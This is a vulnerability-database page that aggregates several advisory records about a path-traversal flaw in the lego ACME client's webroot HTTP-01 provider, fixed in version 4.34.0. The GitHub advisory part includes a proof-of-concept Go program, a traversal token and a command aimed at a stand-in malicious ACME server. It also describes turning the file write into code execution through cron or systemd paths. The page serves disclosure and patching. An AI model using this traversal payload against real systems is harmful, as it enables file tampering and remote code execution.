Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Let's Encrypt client and ACME library written in Go (Lego). Prior to 4.34.0, the webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process. This vulnerability is fixed in 4.34.0.

Source published

21 Apr 2026 17:58:35 UTC

Source modified

15 Jul 2026 01:00:42 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Let's Encrypt client and ACME library written in Go (Lego). Prior to 4.34.0, the webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process. This vulnerability is fixed in 4.34.0.

Source published

Apr 21, 2026, 5:58:35 PM (timezone not stated)

Source modified

Jul 15, 2026, 1:00:42 AM (timezone not stated)

Observed here

28 Oct 2026 05:02:34 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Let's Encrypt client and ACME library written in Go (Lego). Prior to 4.34.0, the webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process. This vulnerability is fixed in 4.34.0.

Source published

21 Apr 2026 18:16:52 UTC

Source modified

26 Oct 2026 21:10:00 UTC

Observed here

27 Oct 2026 10:10:07 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

### Summary The webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing `../` sequences, causing lego to write attacker-influenced content to any path writable by the lego process. ### Details The `ChallengePath()` function in `challenge/http01/http_challenge.go:26-27` constructs the challenge file path by directly concatenating the ACME token without any validation: ```go func ChallengePath(token string) string { return "/.well-known/acme-challenge/" + token } ``` The webroot provider in `providers/http/webroot/webroot.go:31` then joins this with the configured webroot directory and writes the key authorization content to the resulting path: ```go challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token)) err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755) err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644) ``` RFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet (`[A-Za-z0-9_-]`), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as `../../../../../../tmp/evil`, `filepath.Join()` resolves the `..` components, producing a path outside the webroot directory. The same vulnerability exists in the `CleanUp()` function at `providers/http/webroot/webroot.go:48`, which deletes the challenge file using the same unsanitized path: ```go err := os.Remove(filepath.Join(w.path, http01.ChallengePath(token))) ``` This additionally enables arbitrary file deletion. ### PoC In a real attack scenario, the victim uses `--server` to point lego at a malicious ACME server, combined with `--http.webroot`: ```bash lego --server https://malicious-acme.example.com \ --http --http.webroot /var/www/html \ --email [email protected] \ --domains example.com \ run ``` The malicious server returns a challenge token containing path traversal sequences `../../../../../../tmp/pwned`. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot. The following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token: ```go package main import ( "fmt" "os" "github.com/go-acme/lego/v4/providers/http/webroot" ) func main() { webrootDir, _ := os.MkdirTemp("", "lego-webroot-*") defer os.RemoveAll(webrootDir) provider, _ := webroot.NewHTTPProvider(webrootDir) token := "../../../../../../../../../../tmp/pwned" provider.Present("example.com", token, "EXPLOITED-BY-PATH-TRAVERSAL") data, err := os.ReadFile("/tmp/pwned") if err == nil { fmt.Println("[+] VULNERABILITY CONFIRMED") fmt.Printf("[+] File written outside webroot: /tmp/pwned\n") fmt.Printf("[+] Content: %s\n", data) } } ``` ```bash go build -o exploit ./exploit.go && ./exploit ``` Expected output: ``` [+] VULNERABILITY CONFIRMED [+] File written outside webroot: /tmp/pwned [+] Content: EXPLOITED-BY-PATH-TRAVERSAL ``` ### Impact This is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected. A malicious ACME server can: - Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot. - Destroy data by overwriting configuration files, TLS certificates, or application state. - Escalate privileges if lego runs as root, granting unrestricted filesystem write access. - Delete arbitrary files via the `CleanUp()` code path using the same unsanitized token.

Source published

16 Apr 2026 21:28:55 UTC

Source modified

10 Sep 2026 03:51:02 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Publisher rating · HIGH

ACME Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider in github.com/go-acme/lego

Source published

24 Jul 2026 18:35:55 UTC

Source modified

24 Jul 2026 19:00:24 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.